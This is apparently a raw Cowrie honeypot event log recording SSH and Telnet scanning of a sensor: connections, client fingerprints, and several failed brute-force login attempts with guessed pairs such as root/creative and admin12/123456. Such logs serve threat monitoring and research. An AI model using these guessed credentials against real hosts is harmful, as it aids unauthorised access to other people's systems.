{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:33.728668Z","src_ip":"78.83.249.54","session":"460f33629efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"password123","message":"login attempt [user4/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:34.229756Z","src_ip":"78.83.249.54","session":"460f33629efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:35.350063Z","src_ip":"78.83.249.54","session":"460f33629efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89988923072815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:09:53.036922Z","src_ip":"128.199.8.54","session":"c625cec582db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52f1afa5758","protocol":"telnet","message":"New connection: 128.199.8.54:51208 (159.203.135.109:23) [session: b52f1afa5758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:01.923957Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58110,"dst_ip":"159.203.135.109","dst_port":23,"session":"94eba5dee054","protocol":"telnet","message":"New connection: 128.199.8.54:58110 (159.203.135.109:23) [session: 94eba5dee054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:06.763315Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd5976fac74","protocol":"telnet","message":"New connection: 128.199.8.54:54736 (159.203.135.109:23) [session: bfd5976fac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:06.924531Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"841ec078c6fe","protocol":"telnet","message":"New connection: 128.199.8.54:45866 (159.203.135.109:23) [session: 841ec078c6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:14.170729Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":43164,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5297087dc2","protocol":"ssh","message":"New connection: 78.83.249.54:43164 (159.203.135.109:22) [session: cc5297087dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:22.965851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:22.978078Z","src_ip":"78.83.249.54","session":"cc5297087dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:23.099380Z","src_ip":"78.83.249.54","session":"cc5297087dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin12","password":"123456","message":"login attempt [admin12/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:23.608070Z","src_ip":"78.83.249.54","session":"cc5297087dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:24.731950Z","src_ip":"78.83.249.54","session":"cc5297087dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00436115264893,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:34.892712Z","src_ip":"212.55.149.117","session":"230cc2b5f30b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76916480064392,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:36.692984Z","src_ip":"128.199.8.54","session":"b52f1afa5758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5961639881134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:40.359217Z","src_ip":"128.199.8.54","session":"94eba5dee054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad1c964408f","protocol":"telnet","message":"New connection: 128.199.8.54:43786 (159.203.135.109:23) [session: 8ad1c964408f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:41.715464Z"}
{"eventid":"cowrie.session.closed","duration":35.222023725509644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:42.146427Z","src_ip":"128.199.8.54","session":"bfd5976fac74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.581740856170654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:48.752367Z","src_ip":"128.199.8.54","session":"841ec078c6fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145387649536,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:49.399584Z","src_ip":"212.55.149.117","session":"599262dc5da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41754,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b2861fc927","protocol":"telnet","message":"New connection: 128.199.8.54:41754 (159.203.135.109:23) [session: 65b2861fc927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:10:54.649993Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":33116,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e7f6666320d","protocol":"telnet","message":"New connection: 68.178.168.57:33116 (10.17.0.5:23) [session: 3e7f6666320d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:05.286015Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":60080,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0099652737","protocol":"ssh","message":"New connection: 78.83.249.54:60080 (159.203.135.109:22) [session: 4d0099652737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:12.631018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:12.636983Z","src_ip":"78.83.249.54","session":"4d0099652737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50692,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf7f6e09185","protocol":"telnet","message":"New connection: 128.199.8.54:50692 (159.203.135.109:23) [session: bdf7f6e09185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:12.702890Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:12.756855Z","src_ip":"78.83.249.54","session":"4d0099652737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$%","message":"login attempt [ubuntu/!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:13.265655Z","src_ip":"78.83.249.54","session":"4d0099652737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:14.389787Z","src_ip":"78.83.249.54","session":"4d0099652737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a9d8e535225","protocol":"telnet","message":"New connection: 128.199.8.54:50938 (159.203.135.109:23) [session: 0a9d8e535225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:15.823040Z"}
{"eventid":"cowrie.session.closed","duration":35.33750295639038,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:17.052846Z","src_ip":"128.199.8.54","session":"8ad1c964408f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":38912,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e4047205a00","protocol":"telnet","message":"New connection: 68.178.168.57:38912 (10.17.0.5:23) [session: 3e4047205a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:20.331737Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":57258,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b768b2ad959","protocol":"ssh","message":"New connection: 193.24.211.100:57258 (159.203.135.109:22) [session: 0b768b2ad959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:23.026765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:23.035742Z","src_ip":"193.24.211.100","session":"0b768b2ad959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:23.138092Z","src_ip":"193.24.211.100","session":"0b768b2ad959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creative","message":"login attempt [root/creative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:23.696919Z","src_ip":"193.24.211.100","session":"0b768b2ad959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:24.809747Z","src_ip":"193.24.211.100","session":"0b768b2ad959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":42348,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca57b7c2f75","protocol":"telnet","message":"New connection: 68.178.168.57:42348 (10.17.0.5:23) [session: 0ca57b7c2f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:29.901290Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8e05182782","protocol":"telnet","message":"New connection: 128.199.8.54:58364 (159.203.135.109:23) [session: da8e05182782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:30.243417Z"}
{"eventid":"cowrie.session.closed","duration":36.08915328979492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:30.739007Z","src_ip":"128.199.8.54","session":"65b2861fc927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.646031856536865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:36.931901Z","src_ip":"68.178.168.57","session":"3e7f6666320d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":54094,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd7be82eab67","protocol":"ssh","message":"New connection: 80.94.92.186:54094 (159.203.135.109:22) [session: cd7be82eab67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:44.683496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:44.952744Z","src_ip":"80.94.92.186","session":"cd7be82eab67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:44.956485Z","src_ip":"80.94.92.186","session":"cd7be82eab67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23f645b0906","protocol":"ssh","message":"New connection: 103.15.226.202:57788 (10.17.0.5:22) [session: b23f645b0906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:45.627512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:45.632325Z","src_ip":"103.15.226.202","session":"b23f645b0906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:45.828994Z","src_ip":"80.94.92.186","session":"cd7be82eab67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:45.885315Z","src_ip":"103.15.226.202","session":"b23f645b0906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:46.606326Z","src_ip":"103.15.226.202","session":"b23f645b0906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:46.965206Z","src_ip":"80.94.92.186","session":"cd7be82eab67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.585190534591675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:47.408084Z","src_ip":"128.199.8.54","session":"0a9d8e535225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:47.850983Z","src_ip":"103.15.226.202","session":"b23f645b0906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.06081008911133,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:48.763603Z","src_ip":"128.199.8.54","session":"bdf7f6e09185","protocol":"telnet"}
